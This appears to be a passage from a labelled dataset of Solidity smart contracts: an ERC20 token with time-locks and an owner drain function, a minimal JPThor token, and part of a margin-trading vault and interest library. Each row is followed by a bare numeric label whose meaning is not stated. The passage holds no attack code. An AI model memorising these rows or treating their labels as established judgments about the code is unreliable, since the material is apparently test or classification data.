uint256 private constant TEAM_LOCKUP_END = 1567295999; mapping (address => uint256) public timelockedAccounts; event LockedFunds(address indexed target, uint256 timelocked); modifier isNotTimeLocked() { require(now >= timelockedAccounts[msg.sender]); _; } modifier isNotTimeLockedFrom( address _from ) { require( now >= timelockedAccounts[_from] && now >= timelockedAccounts[msg.sender]); _; } function timeLockAdvisor(address _target) public onlySuperAdmins validateAddress(_target) { require(timelockedAccounts[_target] == 0); timelockedAccounts[_target] = ADVISOR_LOCKUP_END; emit LockedFunds(_target, ADVISOR_LOCKUP_END); } function timeLockTeam(address _target) public onlySuperAdmins validateAddress(_target) { require(timelockedAccounts[_target] == 0); timelockedAccounts[_target] = TEAM_LOCKUP_END; emit LockedFunds(_target, TEAM_LOCKUP_END); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance( address owner, address spender ) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { require(value <= _balances[msg.sender]); require(to != address(0)); _balances[msg.sender] = _balances[msg.sender].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom( address from, address to, uint256 value ) public returns (bool) { require(value <= _balances[from]); require(value <= _allowed[from][msg.sender]); require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); emit Transfer(from, to, value); return true; } function increaseAllowance( address spender, uint256 addedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _mint(address account, uint256 amount) internal { require(account != 0); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != 0); require(amount <= _balances[account]); _totalSupply = _totalSupply.sub(amount); _balances[account] = _balances[account].sub(amount); emit Transfer(account, address(0), amount); } function _burnFrom(address account, uint256 amount) internal { require(amount <= _allowed[account][msg.sender]); _allowed[account][msg.sender] = _allowed[account][msg.sender].sub( amount); _burn(account, amount); } } contract ERC20Burnable is ERC20 { function burn(uint256 value) public { _burn(msg.sender, value); } function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } function _burn(address who, uint256 value) internal { super._burn(who, value); } } pragma solidity 0.4.24; contract XtockToken is ERC20Burnable, TimeLockable, Freezable { string public constant name = "XtockToken"; string public constant symbol = "XTX"; uint8 public constant decimals = 18; event Burn(address indexed _burner, uint _value); constructor( address _registry, uint _totalTokenAmount ) public { _mint(_registry, _totalTokenAmount); addSuperAdmin(_registry); } function transfer(address _to, uint _value) public validateAddress(_to) isNotTimeLocked() isNotFrozen(_to) returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) public validateAddress(_to) isNotTimeLockedFrom(_from) isNotFrozenFrom(_from, _to) returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public validateAddress(_spender) isNotFrozen(_spender) isNotTimeLocked() returns (bool) { return super.approve(_spender, _value); } function increaseAllowance( address _spender, uint256 _addedValue ) public validateAddress(_spender) isNotFrozen(_spender) isNotTimeLocked() returns (bool) { return super.increaseAllowance(_spender, _addedValue); } function decreaseAllowance(address _spender, uint256 _subtractedValue) public validateAddress(_spender) isNotFrozen(_spender) isNotTimeLocked() returns (bool) { return super.decreaseAllowance(_spender, _subtractedValue); } function emergencyERC20Drain( IERC20 _token, uint _amount ) public onlyOwner { _token.transfer( owner(), _amount ); } }
1
3,367
pragma solidity 0.4.24; contract ERC20 { function totalSupply() constant public returns (uint256 supply); function balanceOf(address _owner) constant public returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) constant public returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract SafeMath { function safeSub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } contract JPThor is ERC20, SafeMath { string public constant name = "JPThor"; string public constant symbol = "JPTHOR"; uint256 public constant decimals = 18; uint256 public constant totalTokens = 1000000000 * (10 ** decimals); mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; constructor () public { balances[msg.sender] = totalTokens; } function totalSupply() public view returns (uint256) { return totalTokens; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256 remaining) { return allowed[_owner][_spender]; } }
1
3,533
pragma solidity 0.4.24; pragma experimental "v0.5.0"; library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } library Math { function max64(uint64 _a, uint64 _b) internal pure returns (uint64) { return _a >= _b ? _a : _b; } function min64(uint64 _a, uint64 _b) internal pure returns (uint64) { return _a < _b ? _a : _b; } function max256(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a >= _b ? _a : _b; } function min256(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a < _b ? _a : _b; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract AccessControlledBase { mapping (address => bool) public authorized; event AccessGranted( address who ); event AccessRevoked( address who ); modifier requiresAuthorization() { require( authorized[msg.sender], "AccessControlledBase#requiresAuthorization: Sender not authorized" ); _; } } contract StaticAccessControlled is AccessControlledBase, Ownable { using SafeMath for uint256; uint256 public GRACE_PERIOD_EXPIRATION; constructor( uint256 gracePeriod ) public Ownable() { GRACE_PERIOD_EXPIRATION = block.timestamp.add(gracePeriod); } function grantAccess( address who ) external onlyOwner { require( block.timestamp < GRACE_PERIOD_EXPIRATION, "StaticAccessControlled#grantAccess: Cannot grant access after grace period" ); emit AccessGranted(who); authorized[who] = true; } } interface GeneralERC20 { function totalSupply( ) external view returns (uint256); function balanceOf( address who ) external view returns (uint256); function allowance( address owner, address spender ) external view returns (uint256); function transfer( address to, uint256 value ) external; function transferFrom( address from, address to, uint256 value ) external; function approve( address spender, uint256 value ) external; } library TokenInteract { function balanceOf( address token, address owner ) internal view returns (uint256) { return GeneralERC20(token).balanceOf(owner); } function allowance( address token, address owner, address spender ) internal view returns (uint256) { return GeneralERC20(token).allowance(owner, spender); } function approve( address token, address spender, uint256 amount ) internal { GeneralERC20(token).approve(spender, amount); require( checkSuccess(), "TokenInteract#approve: Approval failed" ); } function transfer( address token, address to, uint256 amount ) internal { address from = address(this); if ( amount == 0 || from == to ) { return; } GeneralERC20(token).transfer(to, amount); require( checkSuccess(), "TokenInteract#transfer: Transfer failed" ); } function transferFrom( address token, address from, address to, uint256 amount ) internal { if ( amount == 0 || from == to ) { return; } GeneralERC20(token).transferFrom(from, to, amount); require( checkSuccess(), "TokenInteract#transferFrom: TransferFrom failed" ); } function checkSuccess( ) private pure returns (bool) { uint256 returnValue = 0; assembly { switch returndatasize case 0x0 { returnValue := 1 } case 0x20 { returndatacopy(0x0, 0x0, 0x20) returnValue := mload(0x0) } default { } } return returnValue != 0; } } contract TokenProxy is StaticAccessControlled { using SafeMath for uint256; constructor( uint256 gracePeriod ) public StaticAccessControlled(gracePeriod) {} function transferTokens( address token, address from, address to, uint256 value ) external requiresAuthorization { TokenInteract.transferFrom( token, from, to, value ); } function available( address who, address token ) external view returns (uint256) { return Math.min256( TokenInteract.allowance(token, who, address(this)), TokenInteract.balanceOf(token, who) ); } } contract Vault is StaticAccessControlled { using SafeMath for uint256; event ExcessTokensWithdrawn( address indexed token, address indexed to, address caller ); address public TOKEN_PROXY; mapping (bytes32 => mapping (address => uint256)) public balances; mapping (address => uint256) public totalBalances; constructor( address proxy, uint256 gracePeriod ) public StaticAccessControlled(gracePeriod) { TOKEN_PROXY = proxy; } function withdrawExcessToken( address token, address to ) external onlyOwner returns (uint256) { uint256 actualBalance = TokenInteract.balanceOf(token, address(this)); uint256 accountedBalance = totalBalances[token]; uint256 withdrawableBalance = actualBalance.sub(accountedBalance); require( withdrawableBalance != 0, "Vault#withdrawExcessToken: Withdrawable token amount must be non-zero" ); TokenInteract.transfer(token, to, withdrawableBalance); emit ExcessTokensWithdrawn(token, to, msg.sender); return withdrawableBalance; } function transferToVault( bytes32 id, address token, address from, uint256 amount ) external requiresAuthorization { TokenProxy(TOKEN_PROXY).transferTokens( token, from, address(this), amount ); balances[id][token] = balances[id][token].add(amount); totalBalances[token] = totalBalances[token].add(amount); assert(totalBalances[token] >= balances[id][token]); validateBalance(token); } function transferFromVault( bytes32 id, address token, address to, uint256 amount ) external requiresAuthorization { balances[id][token] = balances[id][token].sub(amount); totalBalances[token] = totalBalances[token].sub(amount); assert(totalBalances[token] >= balances[id][token]); TokenInteract.transfer(token, to, amount); validateBalance(token); } function validateBalance( address token ) private view { assert(TokenInteract.balanceOf(token, address(this)) >= totalBalances[token]); } } contract ReentrancyGuard { uint256 private _guardCounter = 1; modifier nonReentrant() { uint256 localCounter = _guardCounter + 1; _guardCounter = localCounter; _; require( _guardCounter == localCounter, "Reentrancy check failure" ); } } library AddressUtils { function isContract(address _addr) internal view returns (bool) { uint256 size; assembly { size := extcodesize(_addr) } return size > 0; } } library Fraction { struct Fraction128 { uint128 num; uint128 den; } } library FractionMath { using SafeMath for uint256; using SafeMath for uint128; function add( Fraction.Fraction128 memory a, Fraction.Fraction128 memory b ) internal pure returns (Fraction.Fraction128 memory) { uint256 left = a.num.mul(b.den); uint256 right = b.num.mul(a.den); uint256 denominator = a.den.mul(b.den); if (left + right < left) { left = left.div(2); right = right.div(2); denominator = denominator.div(2); } return bound(left.add(right), denominator); } function sub1Over( Fraction.Fraction128 memory a, uint128 d ) internal pure returns (Fraction.Fraction128 memory) { if (a.den % d == 0) { return bound( a.num.sub(a.den.div(d)), a.den ); } return bound( a.num.mul(d).sub(a.den), a.den.mul(d) ); } function div( Fraction.Fraction128 memory a, uint128 d ) internal pure returns (Fraction.Fraction128 memory) { if (a.num % d == 0) { return bound( a.num.div(d), a.den ); } return bound( a.num, a.den.mul(d) ); } function mul( Fraction.Fraction128 memory a, Fraction.Fraction128 memory b ) internal pure returns (Fraction.Fraction128 memory) { return bound( a.num.mul(b.num), a.den.mul(b.den) ); } function bound( uint256 num, uint256 den ) internal pure returns (Fraction.Fraction128 memory) { uint256 max = num > den ? num : den; uint256 first128Bits = (max >> 128); if (first128Bits != 0) { first128Bits += 1; num /= first128Bits; den /= first128Bits; } assert(den != 0); assert(den < 2**128); assert(num < 2**128); return Fraction.Fraction128({ num: uint128(num), den: uint128(den) }); } function copy( Fraction.Fraction128 memory a ) internal pure returns (Fraction.Fraction128 memory) { validate(a); return Fraction.Fraction128({ num: a.num, den: a.den }); } function validate( Fraction.Fraction128 memory a ) private pure { assert(a.den != 0); } } library Exponent { using SafeMath for uint256; using FractionMath for Fraction.Fraction128; uint128 constant public MAX_NUMERATOR = 340282366920938463463374607431768211455; uint256 constant public MAX_PRECOMPUTE_PRECISION = 32; uint256 constant public NUM_PRECOMPUTED_INTEGERS = 32; function exp( Fraction.Fraction128 memory X, uint256 precomputePrecision, uint256 maclaurinPrecision ) internal pure returns (Fraction.Fraction128 memory) { require( precomputePrecision <= MAX_PRECOMPUTE_PRECISION, "Exponent#exp: Precompute precision over maximum" ); Fraction.Fraction128 memory Xcopy = X.copy(); if (Xcopy.num == 0) { return ONE(); } uint256 integerX = uint256(Xcopy.num).div(Xcopy.den); if (integerX == 0) { return expHybrid(Xcopy, precomputePrecision, maclaurinPrecision); } Fraction.Fraction128 memory expOfInt = getPrecomputedEToThe(integerX % NUM_PRECOMPUTED_INTEGERS); while (integerX >= NUM_PRECOMPUTED_INTEGERS) { expOfInt = expOfInt.mul(getPrecomputedEToThe(NUM_PRECOMPUTED_INTEGERS)); integerX -= NUM_PRECOMPUTED_INTEGERS; } Fraction.Fraction128 memory decimalX = Fraction.Fraction128({ num: Xcopy.num % Xcopy.den, den: Xcopy.den }); return expHybrid(decimalX, precomputePrecision, maclaurinPrecision).mul(expOfInt); } function expHybrid( Fraction.Fraction128 memory X, uint256 precomputePrecision, uint256 maclaurinPrecision ) internal pure returns (Fraction.Fraction128 memory) { assert(precomputePrecision <= MAX_PRECOMPUTE_PRECISION); assert(X.num < X.den); Fraction.Fraction128 memory Xtemp = X.copy(); if (Xtemp.num == 0) { return ONE(); } Fraction.Fraction128 memory result = ONE(); uint256 d = 1; for (uint256 i = 1; i <= precomputePrecision; i++) { d *= 2; if (d.mul(Xtemp.num) >= Xtemp.den) { Xtemp = Xtemp.sub1Over(uint128(d)); result = result.mul(getPrecomputedEToTheHalfToThe(i)); } } return result.mul(expMaclaurin(Xtemp, maclaurinPrecision)); } function expMaclaurin( Fraction.Fraction128 memory X, uint256 precision ) internal pure returns (Fraction.Fraction128 memory) { Fraction.Fraction128 memory Xcopy = X.copy(); if (Xcopy.num == 0) { return ONE(); } Fraction.Fraction128 memory result = ONE(); Fraction.Fraction128 memory Xtemp = ONE(); for (uint256 i = 1; i <= precision; i++) { Xtemp = Xtemp.mul(Xcopy.div(uint128(i))); result = result.add(Xtemp); } return result; } function getPrecomputedEToTheHalfToThe( uint256 x ) internal pure returns (Fraction.Fraction128 memory) { assert(x <= MAX_PRECOMPUTE_PRECISION); uint128 denominator = [ 125182886983370532117250726298150828301, 206391688497133195273760705512282642279, 265012173823417992016237332255925138361, 300298134811882980317033350418940119802, 319665700530617779809390163992561606014, 329812979126047300897653247035862915816, 335006777809430963166468914297166288162, 337634268532609249517744113622081347950, 338955731696479810470146282672867036734, 339618401537809365075354109784799900812, 339950222128463181389559457827561204959, 340116253979683015278260491021941090650, 340199300311581465057079429423749235412, 340240831081268226777032180141478221816, 340261598367316729254995498374473399540, 340271982485676106947851156443492415142, 340277174663693808406010255284800906112, 340279770782412691177936847400746725466, 340281068849199706686796915841848278311, 340281717884450116236033378667952410919, 340282042402539547492367191008339680733, 340282204661700319870089970029119685699, 340282285791309720262481214385569134454, 340282326356121674011576912006427792656, 340282346638529464274601981200276914173, 340282356779733812753265346086924801364, 340282361850336100329388676752133324799, 340282364385637272451648746721404212564, 340282365653287865596328444437856608255, 340282366287113163939555716675618384724, 340282366604025813553891209601455838559, 340282366762482138471739420386372790954, 340282366841710300958333641874363209044 ][x]; return Fraction.Fraction128({ num: MAX_NUMERATOR, den: denominator }); } function getPrecomputedEToThe( uint256 x ) internal pure returns (Fraction.Fraction128 memory) { assert(x <= NUM_PRECOMPUTED_INTEGERS); uint128 denominator = [ 340282366920938463463374607431768211455, 125182886983370532117250726298150828301, 46052210507670172419625860892627118820, 16941661466271327126146327822211253888, 6232488952727653950957829210887653621, 2292804553036637136093891217529878878, 843475657686456657683449904934172134, 310297353591408453462393329342695980, 114152017036184782947077973323212575, 41994180235864621538772677139808695, 15448795557622704876497742989562086, 5683294276510101335127414470015662, 2090767122455392675095471286328463, 769150240628514374138961856925097, 282954560699298259527814398449860, 104093165666968799599694528310221, 38293735615330848145349245349513, 14087478058534870382224480725096, 5182493555688763339001418388912, 1906532833141383353974257736699, 701374233231058797338605168652, 258021160973090761055471434334, 94920680509187392077350434438, 34919366901332874995585576427, 12846117181722897538509298435, 4725822410035083116489797150, 1738532907279185132707372378, 639570514388029575350057932, 235284843422800231081973821, 86556456714490055457751527, 31842340925906738090071268, 11714142585413118080082437, 4309392228124372433711936 ][x]; return Fraction.Fraction128({ num: MAX_NUMERATOR, den: denominator }); } function ONE() private pure returns (Fraction.Fraction128 memory) { return Fraction.Fraction128({ num: 1, den: 1 }); } } library MathHelpers { using SafeMath for uint256; function getPartialAmount( uint256 numerator, uint256 denominator, uint256 target ) internal pure returns (uint256) { return numerator.mul(target).div(denominator); } function getPartialAmountRoundedUp( uint256 numerator, uint256 denominator, uint256 target ) internal pure returns (uint256) { return divisionRoundedUp(numerator.mul(target), denominator); } function divisionRoundedUp( uint256 numerator, uint256 denominator ) internal pure returns (uint256) { assert(denominator != 0); if (numerator == 0) { return 0; } return numerator.sub(1).div(denominator).add(1); } function maxUint256( ) internal pure returns (uint256) { return 2 ** 256 - 1; } function maxUint32( ) internal pure returns (uint32) { return 2 ** 32 - 1; } function getNumBits( uint256 n ) internal pure returns (uint256) { uint256 first = 0; uint256 last = 256; while (first < last) { uint256 check = (first + last) / 2; if ((n >> check) == 0) { last = check; } else { first = check + 1; } } assert(first <= 256); return first; } } library InterestImpl { using SafeMath for uint256; using FractionMath for Fraction.Fraction128; uint256 constant DEFAULT_PRECOMPUTE_PRECISION = 11; uint256 constant DEFAULT_MACLAURIN_PRECISION = 5; uint256 constant MAXIMUM_EXPONENT = 80; uint128 constant E_TO_MAXIUMUM_EXPONENT = 55406223843935100525711733958316613; function getCompoundedInterest( uint256 principal, uint256 interestRate, uint256 secondsOfInterest ) public pure returns (uint256) { uint256 numerator = interestRate.mul(secondsOfInterest); uint128 denominator = (10**8) * (365 * 1 days); assert(numerator < 2**128); Fraction.Fraction128 memory rt = Fraction.Fraction128({ num: uint128(numerator), den: denominator }); Fraction.Fraction128 memory eToRT; if (numerator.div(denominator) >= MAXIMUM_EXPONENT) { eToRT = Fraction.Fraction128({ num: E_TO_MAXIUMUM_EXPONENT, den: 1 }); } else { eToRT = Exponent.exp( rt, DEFAULT_PRECOMPUTE_PRECISION, DEFAULT_MACLAURIN_PRECISION ); } assert(eToRT.num >= eToRT.den); return safeMultiplyUint256ByFraction(principal, eToRT); } function safeMultiplyUint256ByFraction( uint256 n, Fraction.Fraction128 memory f ) private pure returns (uint256) { uint256 term1 = n.div(2 ** 128); uint256 term2 = n % (2 ** 128); if (term1 > 0) { term1 = term1.mul(f.num); uint256 numBits = MathHelpers.getNumBits(term1); term1 = MathHelpers.divisionRoundedUp( term1 << (uint256(256).sub(numBits)), f.den); if (numBits > 128) { term1 = term1 << (numBits.sub(128)); } else if (numBits < 128) { term1 = term1 >> (uint256(128).sub(numBits)); } } term2 = MathHelpers.getPartialAmountRoundedUp( f.num, f.den, term2 ); return term1.add(term2); } } library MarginState { struct State { address VAULT; address TOKEN_PROXY; mapping (bytes32 => uint256) loanFills; mapping (bytes32 => uint256) loanCancels; mapping (bytes32 => MarginCommon.Position) positions; mapping (bytes32 => bool) closedPositions; mapping (bytes32 => uint256) totalOwedTokenRepaidToLender; } } interface LoanOwner { function receiveLoanOwnership( address from, bytes32 positionId ) external returns (address); } interface PositionOwner { function receivePositionOwnership( address from, bytes32 positionId ) external returns (address); } library TransferInternal { event LoanTransferred( bytes32 indexed positionId, address indexed from, address indexed to ); event PositionTransferred( bytes32 indexed positionId, address indexed from, address indexed to ); function grantLoanOwnership( bytes32 positionId, address oldOwner, address newOwner ) internal returns (address) { if (oldOwner != address(0)) { emit LoanTransferred(positionId, oldOwner, newOwner); } if (AddressUtils.isContract(newOwner)) { address nextOwner = LoanOwner(newOwner).receiveLoanOwnership(oldOwner, positionId); if (nextOwner != newOwner) { return grantLoanOwnership(positionId, newOwner, nextOwner); } } require( newOwner != address(0), "TransferInternal#grantLoanOwnership: New owner did not consent to owning loan" ); return newOwner; } function grantPositionOwnership( bytes32 positionId, address oldOwner, address newOwner ) internal returns (address) { if (oldOwner != address(0)) { emit PositionTransferred(positionId, oldOwner, newOwner); } if (AddressUtils.isContract(newOwner)) { address nextOwner = PositionOwner(newOwner).receivePositionOwnership(oldOwner, positionId); if (nextOwner != newOwner) { return grantPositionOwnership(positionId, newOwner, nextOwner); } } require( newOwner != address(0), "TransferInternal#grantPositionOwnership: New owner did not consent to owning position" ); return newOwner; } } library TimestampHelper { function getBlockTimestamp32() internal view returns (uint32) { assert(uint256(uint32(block.timestamp)) == block.timestamp); assert(block.timestamp > 0); return uint32(block.timestamp); } } library MarginCommon { using SafeMath for uint256; struct Position { address owedToken; address heldToken; address lender; address owner; uint256 principal; uint256 requiredDeposit; uint32 callTimeLimit; uint32 startTimestamp; uint32 callTimestamp; uint32 maxDuration; uint32 interestRate; uint32 interestPeriod; } struct LoanOffering { address owedToken; address heldToken; address payer; address owner; address taker; address positionOwner; address feeRecipient; address lenderFeeToken; address takerFeeToken; LoanRates rates; uint256 expirationTimestamp; uint32 callTimeLimit; uint32 maxDuration; uint256 salt; bytes32 loanHash; bytes signature; } struct LoanRates { uint256 maxAmount; uint256 minAmount; uint256 minHeldToken; uint256 lenderFee; uint256 takerFee; uint32 interestRate; uint32 interestPeriod; } function storeNewPosition( MarginState.State storage state, bytes32 positionId, Position memory position, address loanPayer ) internal { assert(!positionHasExisted(state, positionId)); assert(position.owedToken != address(0)); assert(position.heldToken != address(0)); assert(position.owedToken != position.heldToken); assert(position.owner != address(0)); assert(position.lender != address(0)); assert(position.maxDuration != 0); assert(position.interestPeriod <= position.maxDuration); assert(position.callTimestamp == 0); assert(position.requiredDeposit == 0); state.positions[positionId].owedToken = position.owedToken; state.positions[positionId].heldToken = position.heldToken; state.positions[positionId].principal = position.principal; state.positions[positionId].callTimeLimit = position.callTimeLimit; state.positions[positionId].startTimestamp = TimestampHelper.getBlockTimestamp32(); state.positions[positionId].maxDuration = position.maxDuration; state.positions[positionId].interestRate = position.interestRate; state.positions[positionId].interestPeriod = position.interestPeriod; state.positions[positionId].owner = TransferInternal.grantPositionOwnership( positionId, (position.owner != msg.sender) ? msg.sender : address(0), position.owner ); state.positions[positionId].lender = TransferInternal.grantLoanOwnership( positionId, (position.lender != loanPayer) ? loanPayer : address(0), position.lender ); } function getPositionIdFromNonce( uint256 nonce ) internal view returns (bytes32) { return keccak256(abi.encodePacked(msg.sender, nonce)); } function getUnavailableLoanOfferingAmountImpl( MarginState.State storage state, bytes32 loanHash ) internal view returns (uint256) { return state.loanFills[loanHash].add(state.loanCancels[loanHash]); } function cleanupPosition( MarginState.State storage state, bytes32 positionId ) internal { delete state.positions[positionId]; state.closedPositions[positionId] = true; } function calculateOwedAmount( Position storage position, uint256 closeAmount, uint256 endTimestamp ) internal view returns (uint256) { uint256 timeElapsed = calculateEffectiveTimeElapsed(position, endTimestamp); return InterestImpl.getCompoundedInterest( closeAmount, position.interestRate, timeElapsed ); } function calculateEffectiveTimeElapsed( Position storage position, uint256 timestamp ) internal view returns (uint256) { uint256 elapsed = timestamp.sub(position.startTimestamp); uint256 period = position.interestPeriod; if (period > 1) { elapsed = MathHelpers.divisionRoundedUp(elapsed, period).mul(period); } return Math.min256( elapsed, position.maxDuration ); } function calculateLenderAmountForIncreasePosition( Position storage position, uint256 principalToAdd, uint256 endTimestamp ) internal view returns (uint256) { uint256 timeElapsed = calculateEffectiveTimeElapsedForNewLender(position, endTimestamp); return InterestImpl.getCompoundedInterest( principalToAdd, position.interestRate, timeElapsed ); } function getLoanOfferingHash( LoanOffering loanOffering ) internal view returns (bytes32) { return keccak256( abi.encodePacked( address(this), loanOffering.owedToken, loanOffering.heldToken, loanOffering.payer, loanOffering.owner, loanOffering.taker, loanOffering.positionOwner, loanOffering.feeRecipient, loanOffering.lenderFeeToken, loanOffering.takerFeeToken, getValuesHash(loanOffering) ) ); } function getPositionBalanceImpl( MarginState.State storage state, bytes32 positionId ) internal view returns(uint256) { return Vault(state.VAULT).balances(positionId, state.positions[positionId].heldToken); } function containsPositionImpl( MarginState.State storage state, bytes32 positionId ) internal view returns (bool) { return state.positions[positionId].startTimestamp != 0; } function positionHasExisted( MarginState.State storage state, bytes32 positionId ) internal view returns (bool) { return containsPositionImpl(state, positionId) || state.closedPositions[positionId]; } function getPositionFromStorage( MarginState.State storage state, bytes32 positionId ) internal view returns (Position storage) { Position storage position = state.positions[positionId]; require( position.startTimestamp != 0, "MarginCommon#getPositionFromStorage: The position does not exist" ); return position; } function calculateEffectiveTimeElapsedForNewLender( Position storage position, uint256 timestamp ) private view returns (uint256) { uint256 elapsed = timestamp.sub(position.startTimestamp); uint256 period = position.interestPeriod; if (period > 1) { elapsed = elapsed.div(period).mul(period); } return Math.min256( elapsed, position.maxDuration ); } function getValuesHash( LoanOffering loanOffering ) private pure returns (bytes32) { return keccak256( abi.encodePacked( loanOffering.rates.maxAmount, loanOffering.rates.minAmount, loanOffering.rates.minHeldToken, loanOffering.rates.lenderFee, loanOffering.rates.takerFee, loanOffering.expirationTimestamp, loanOffering.salt, loanOffering.callTimeLimit, loanOffering.maxDuration, loanOffering.rates.interestRate, loanOffering.rates.interestPeriod ) ); } } interface PayoutRecipient { function receiveClosePositionPayout( bytes32 positionId, uint256 closeAmount, address closer, address positionOwner, address heldToken, uint256 payout, uint256 totalHeldToken, bool payoutInHeldToken ) external returns (bool); } interface 